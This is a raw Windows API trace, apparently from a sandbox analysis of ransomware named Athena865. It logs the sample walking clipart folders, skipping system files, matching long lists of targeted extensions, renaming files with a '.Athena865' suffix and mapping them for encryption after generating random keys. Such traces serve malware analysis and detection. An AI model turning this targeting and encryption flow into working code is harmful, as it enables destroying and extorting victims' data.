[0121.027] lstrcmpiW (lpString1="GIF", lpString2="nyf") returned -1 [0121.027] lstrlenW (lpString="odb") returned 3 [0121.027] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0121.027] lstrlenW (lpString="odb") returned 3 [0121.027] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0121.027] lstrlenW (lpString="oqy") returned 3 [0121.027] lstrcmpiW (lpString1="GIF", lpString2="oqy") returned -1 [0121.027] lstrlenW (lpString="ora") returned 3 [0121.027] lstrcmpiW (lpString1="GIF", lpString2="ora") returned -1 [0121.027] lstrlenW (lpString="orx") returned 3 [0121.027] lstrcmpiW (lpString1="GIF", lpString2="orx") returned -1 [0121.027] lstrlenW (lpString="owc") returned 3 [0121.027] lstrcmpiW (lpString1="GIF", lpString2="owc") returned -1 [0121.027] lstrlenW (lpString="p96") returned 3 [0121.027] lstrcmpiW (lpString1="GIF", lpString2="p96") returned -1 [0121.027] lstrlenW (lpString="p97") returned 3 [0121.027] lstrcmpiW (lpString1="GIF", lpString2="p97") returned -1 [0121.027] lstrlenW (lpString="pan") returned 3 [0121.027] lstrcmpiW (lpString1="GIF", lpString2="pan") returned -1 [0121.028] lstrlenW (lpString="pdb") returned 3 [0121.028] lstrcmpiW (lpString1="GIF", lpString2="pdb") returned -1 [0121.028] lstrlenW (lpString="pdm") returned 3 [0121.028] lstrcmpiW (lpString1="GIF", lpString2="pdm") returned -1 [0121.028] lstrlenW (lpString="pnz") returned 3 [0121.028] lstrcmpiW (lpString1="GIF", lpString2="pnz") returned -1 [0121.028] lstrlenW (lpString="qry") returned 3 [0121.028] lstrcmpiW (lpString1="GIF", lpString2="qry") returned -1 [0121.028] lstrlenW (lpString="qvd") returned 3 [0121.028] lstrcmpiW (lpString1="GIF", lpString2="qvd") returned -1 [0121.028] lstrlenW (lpString="rbf") returned 3 [0121.028] lstrcmpiW (lpString1="GIF", lpString2="rbf") returned -1 [0121.028] lstrlenW (lpString="rctd") returned 4 [0121.028] lstrcmpiW (lpString1=".GIF", lpString2="rctd") returned -1 [0121.028] lstrlenW (lpString="rod") returned 3 [0121.028] lstrcmpiW (lpString1="GIF", lpString2="rod") returned -1 [0121.028] lstrlenW (lpString="rodx") returned 4 [0121.028] lstrcmpiW (lpString1=".GIF", lpString2="rodx") returned -1 [0121.028] lstrlenW (lpString="rpd") returned 3 [0121.028] lstrcmpiW (lpString1="GIF", lpString2="rpd") returned -1 [0121.028] lstrlenW (lpString="rsd") returned 3 [0121.028] lstrcmpiW (lpString1="GIF", lpString2="rsd") returned -1 [0121.028] lstrlenW (lpString="sas7bdat") returned 8 [0121.028] lstrcmpiW (lpString1="130_.GIF", lpString2="sas7bdat") returned -1 [0121.028] lstrlenW (lpString="sbf") returned 3 [0121.028] lstrcmpiW (lpString1="GIF", lpString2="sbf") returned -1 [0121.028] lstrlenW (lpString="scx") returned 3 [0121.028] lstrcmpiW (lpString1="GIF", lpString2="scx") returned -1 [0121.028] lstrlenW (lpString="sdb") returned 3 [0121.029] lstrcmpiW (lpString1="GIF", lpString2="sdb") returned -1 [0121.029] lstrlenW (lpString="sdc") returned 3 [0121.029] lstrcmpiW (lpString1="GIF", lpString2="sdc") returned -1 [0121.029] lstrlenW (lpString="sdf") returned 3 [0121.029] lstrcmpiW (lpString1="GIF", lpString2="sdf") returned -1 [0121.029] lstrlenW (lpString="sis") returned 3 [0121.029] lstrcmpiW (lpString1="GIF", lpString2="sis") returned -1 [0121.029] lstrlenW (lpString="spq") returned 3 [0121.029] lstrcmpiW (lpString1="GIF", lpString2="spq") returned -1 [0121.029] lstrlenW (lpString="te") returned 2 [0121.029] lstrcmpiW (lpString1="IF", lpString2="te") returned -1 [0121.029] lstrlenW (lpString="teacher") returned 7 [0121.029] lstrcmpiW (lpString1="30_.GIF", lpString2="teacher") returned -1 [0121.029] lstrlenW (lpString="tmd") returned 3 [0121.029] lstrcmpiW (lpString1="GIF", lpString2="tmd") returned -1 [0121.029] lstrlenW (lpString="tps") returned 3 [0121.029] lstrcmpiW (lpString1="GIF", lpString2="tps") returned -1 [0121.029] lstrlenW (lpString="trc") returned 3 [0121.029] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0121.029] lstrlenW (lpString="trc") returned 3 [0121.029] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0121.029] lstrlenW (lpString="trm") returned 3 [0121.029] lstrcmpiW (lpString1="GIF", lpString2="trm") returned -1 [0121.029] lstrlenW (lpString="udb") returned 3 [0121.029] lstrcmpiW (lpString1="GIF", lpString2="udb") returned -1 [0121.029] lstrlenW (lpString="udl") returned 3 [0121.029] lstrcmpiW (lpString1="GIF", lpString2="udl") returned -1 [0121.029] lstrlenW (lpString="usr") returned 3 [0121.030] lstrcmpiW (lpString1="GIF", lpString2="usr") returned -1 [0121.030] lstrlenW (lpString="v12") returned 3 [0121.030] lstrcmpiW (lpString1="GIF", lpString2="v12") returned -1 [0121.030] lstrlenW (lpString="vis") returned 3 [0121.030] lstrcmpiW (lpString1="GIF", lpString2="vis") returned -1 [0121.030] lstrlenW (lpString="vpd") returned 3 [0121.030] lstrcmpiW (lpString1="GIF", lpString2="vpd") returned -1 [0121.030] lstrlenW (lpString="vvv") returned 3 [0121.030] lstrcmpiW (lpString1="GIF", lpString2="vvv") returned -1 [0121.030] lstrlenW (lpString="wdb") returned 3 [0121.030] lstrcmpiW (lpString1="GIF", lpString2="wdb") returned -1 [0121.030] lstrlenW (lpString="wmdb") returned 4 [0121.030] lstrcmpiW (lpString1=".GIF", lpString2="wmdb") returned -1 [0121.030] lstrlenW (lpString="wrk") returned 3 [0121.030] lstrcmpiW (lpString1="GIF", lpString2="wrk") returned -1 [0121.030] lstrlenW (lpString="xdb") returned 3 [0121.030] lstrcmpiW (lpString1="GIF", lpString2="xdb") returned -1 [0121.030] lstrlenW (lpString="xld") returned 3 [0121.030] lstrcmpiW (lpString1="GIF", lpString2="xld") returned -1 [0121.030] lstrlenW (lpString="xmlff") returned 5 [0121.030] lstrcmpiW (lpString1="_.GIF", lpString2="xmlff") returned -1 [0121.030] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.Athena865") returned 73 [0121.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.athena865"), dwFlags=0x1) returned 1 [0121.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.031] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5253) returned 1 [0121.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.032] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.032] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.032] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.033] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1790, lpName=0x0) returned 0x154 [0121.036] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1790) returned 0x100000 [0121.041] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.041] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.041] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.041] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.042] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.042] CloseHandle (hObject=0x154) returned 1 [0121.042] CloseHandle (hObject=0x17c) returned 1 [0121.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.043] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0121.043] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.043] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.043] lstrcmpiW (lpString1="AG00135_.GIF", lpString2=".") returned 1 [0121.043] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="..") returned 1 [0121.043] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="windows") returned -1 [0121.043] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="bootmgr") returned -1 [0121.043] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="temp") returned -1 [0121.043] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="pagefile.sys") returned -1 [0121.043] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="boot") returned -1 [0121.043] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="ids.txt") returned -1 [0121.043] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="ntuser.dat") returned -1 [0121.043] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="perflogs") returned -1 [0121.043] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="MSBuild") returned -1 [0121.043] lstrlenW (lpString="AG00135_.GIF") returned 12 [0121.043] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00135_.GIF" | out: lpString1="AG00135_.GIF") returned="AG00135_.GIF" [0121.043] lstrlenW (lpString="AG00135_.GIF") returned 12 [0121.043] lstrlenW (lpString="Athena865") returned 9 [0121.043] lstrcmpiW (lpString1="0135_.GIF", lpString2="Athena865") returned -1 [0121.043] lstrlenW (lpString=".dll") returned 4 [0121.043] lstrcmpiW (lpString1="AG00135_.GIF", lpString2=".dll") returned 1 [0121.043] lstrlenW (lpString=".lnk") returned 4 [0121.043] lstrcmpiW (lpString1="AG00135_.GIF", lpString2=".lnk") returned 1 [0121.043] lstrlenW (lpString=".ini") returned 4 [0121.043] lstrcmpiW (lpString1="AG00135_.GIF", lpString2=".ini") returned 1 [0121.044] lstrlenW (lpString=".sys") returned 4 [0121.044] lstrcmpiW (lpString1="AG00135_.GIF", lpString2=".sys") returned 1 [0121.044] lstrlenW (lpString="AG00135_.GIF") returned 12 [0121.044] lstrlenW (lpString="bak") returned 3 [0121.044] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0121.044] lstrlenW (lpString="ba_") returned 3 [0121.044] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0121.044] lstrlenW (lpString="dbb") returned 3 [0121.044] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0121.044] lstrlenW (lpString="vmdk") returned 4 [0121.044] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0121.044] lstrlenW (lpString="rar") returned 3 [0121.044] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0121.044] lstrlenW (lpString="zip") returned 3 [0121.044] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0121.044] lstrlenW (lpString="tgz") returned 3 [0121.044] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0121.044] lstrlenW (lpString="vbox") returned 4 [0121.044] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0121.044] lstrlenW (lpString="vdi") returned 3 [0121.044] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0121.044] lstrlenW (lpString="vhd") returned 3 [0121.044] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0121.044] lstrlenW (lpString="vhdx") returned 4 [0121.044] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0121.044] lstrlenW (lpString="avhd") returned 4 [0121.044] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0121.044] lstrlenW (lpString="db") returned 2 [0121.044] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0121.045] lstrlenW (lpString="db2") returned 3 [0121.045] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0121.045] lstrlenW (lpString="db3") returned 3 [0121.045] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0121.045] lstrlenW (lpString="dbf") returned 3 [0121.045] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0121.045] lstrlenW (lpString="mdf") returned 3 [0121.045] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0121.045] lstrlenW (lpString="mdb") returned 3 [0121.045] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0121.045] lstrlenW (lpString="sql") returned 3 [0121.045] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0121.045] lstrlenW (lpString="sqlite") returned 6 [0121.045] lstrcmpiW (lpString1="5_.GIF", lpString2="sqlite") returned -1 [0121.045] lstrlenW (lpString="sqlite3") returned 7 [0121.045] lstrcmpiW (lpString1="35_.GIF", lpString2="sqlite3") returned -1 [0121.045] lstrlenW (lpString="sqlitedb") returned 8 [0121.045] lstrcmpiW (lpString1="135_.GIF", lpString2="sqlitedb") returned -1 [0121.045] lstrlenW (lpString="xml") returned 3 [0121.045] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0121.045] lstrlenW (lpString="$er") returned 3 [0121.045] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0121.045] lstrlenW (lpString="4dd") returned 3 [0121.045] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0121.045] lstrlenW (lpString="4dl") returned 3 [0121.045] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0121.045] lstrlenW (lpString="^^^") returned 3 [0121.045] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0121.045] lstrlenW (lpString="abs") returned 3 [0121.045] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0121.046] lstrlenW (lpString="abx") returned 3 [0121.046] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0121.046] lstrlenW (lpString="accdb") returned 5 [0121.046] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0121.046] lstrlenW (lpString="accdc") returned 5 [0121.046] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0121.046] lstrlenW (lpString="accde") returned 5 [0121.046] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0121.046] lstrlenW (lpString="accdr") returned 5 [0121.046] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0121.046] lstrlenW (lpString="accdt") returned 5 [0121.046] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0121.046] lstrlenW (lpString="accdw") returned 5 [0121.046] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0121.046] lstrlenW (lpString="accft") returned 5 [0121.046] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0121.046] lstrlenW (lpString="adb") returned 3 [0121.046] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.046] lstrlenW (lpString="adb") returned 3 [0121.046] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.046] lstrlenW (lpString="ade") returned 3 [0121.046] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0121.046] lstrlenW (lpString="adf") returned 3 [0121.046] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0121.046] lstrlenW (lpString="adn") returned 3 [0121.046] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0121.047] lstrlenW (lpString="adp") returned 3 [0121.047] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0121.047] lstrlenW (lpString="alf") returned 3 [0121.047] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0121.047] lstrlenW (lpString="ask") returned 3 [0121.047] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0121.047] lstrlenW (lpString="btr") returned 3 [0121.047] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0121.047] lstrlenW (lpString="cat") returned 3 [0121.047] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0121.047] lstrlenW (lpString="cdb") returned 3 [0121.047] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0121.047] lstrlenW (lpString="ckp") returned 3 [0121.047] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0121.047] lstrlenW (lpString="cma") returned 3 [0121.047] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0121.047] lstrlenW (lpString="cpd") returned 3 [0121.047] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0121.047] lstrlenW (lpString="dacpac") returned 6 [0121.047] lstrcmpiW (lpString1="5_.GIF", lpString2="dacpac") returned -1 [0121.047] lstrlenW (lpString="dad") returned 3 [0121.047] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0121.047] lstrlenW (lpString="dadiagrams") returned 10 [0121.047] lstrcmpiW (lpString1="00135_.GIF", lpString2="dadiagrams") returned -1 [0121.047] lstrlenW (lpString="daschema") returned 8 [0121.047] lstrcmpiW (lpString1="135_.GIF", lpString2="daschema") returned -1 [0121.047] lstrlenW (lpString="db-journal") returned 10 [0121.048] lstrcmpiW (lpString1="00135_.GIF", lpString2="db-journal") returned -1 [0121.048] lstrlenW (lpString="db-shm") returned 6 [0121.048] lstrcmpiW (lpString1="5_.GIF", lpString2="db-shm") returned -1 [0121.048] lstrlenW (lpString="db-wal") returned 6 [0121.048] lstrcmpiW (lpString1="5_.GIF", lpString2="db-wal") returned -1 [0121.048] lstrlenW (lpString="dbc") returned 3 [0121.048] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0121.048] lstrlenW (lpString="dbs") returned 3 [0121.048] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0121.048] lstrlenW (lpString="dbt") returned 3 [0121.048] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0121.048] lstrlenW (lpString="dbv") returned 3 [0121.048] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0121.048] lstrlenW (lpString="dbx") returned 3 [0121.048] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0121.048] lstrlenW (lpString="dcb") returned 3 [0121.048] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0121.048] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0121.048] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.Athena865") returned 73 [0121.049] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.athena865"), dwFlags=0x1) returned 1 [0121.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.053] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2596) returned 1 [0121.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.053] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.054] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.054] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.054] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd30, lpName=0x0) returned 0x154 [0121.056] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd30) returned 0x100000 [0121.059] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.059] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.059] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.060] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.060] CloseHandle (hObject=0x154) returned 1 [0121.060] CloseHandle (hObject=0x17c) returned 1 [0121.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.061] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0121.061] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.061] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.061] lstrcmpiW (lpString1="AG00139_.GIF", lpString2=".") returned 1 [0121.061] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="..") returned 1 [0121.061] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="windows") returned -1 [0121.061] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="bootmgr") returned -1 [0121.061] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="temp") returned -1 [0121.061] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="pagefile.sys") returned -1 [0121.061] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="boot") returned -1 [0121.061] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="ids.txt") returned -1 [0121.061] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="ntuser.dat") returned -1 [0121.061] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="perflogs") returned -1 [0121.061] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="MSBuild") returned -1 [0121.061] lstrlenW (lpString="AG00139_.GIF") returned 12 [0121.061] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00139_.GIF" | out: lpString1="AG00139_.GIF") returned="AG00139_.GIF" [0121.061] lstrlenW (lpString="AG00139_.GIF") returned 12 [0121.061] lstrlenW (lpString="Athena865") returned 9 [0121.061] lstrcmpiW (lpString1="0139_.GIF", lpString2="Athena865") returned -1 [0121.061] lstrlenW (lpString=".dll") returned 4 [0121.061] lstrcmpiW (lpString1="AG00139_.GIF", lpString2=".dll") returned 1 [0121.061] lstrlenW (lpString=".lnk") returned 4 [0121.062] lstrcmpiW (lpString1="AG00139_.GIF", lpString2=".lnk") returned 1 [0121.062] lstrlenW (lpString=".ini") returned 4 [0121.062] lstrcmpiW (lpString1="AG00139_.GIF", lpString2=".ini") returned 1 [0121.062] lstrlenW (lpString=".sys") returned 4 [0121.062] lstrcmpiW (lpString1="AG00139_.GIF", lpString2=".sys") returned 1 [0121.062] lstrlenW (lpString="AG00139_.GIF") returned 12 [0121.062] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.Athena865") returned 73 [0121.062] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.athena865"), 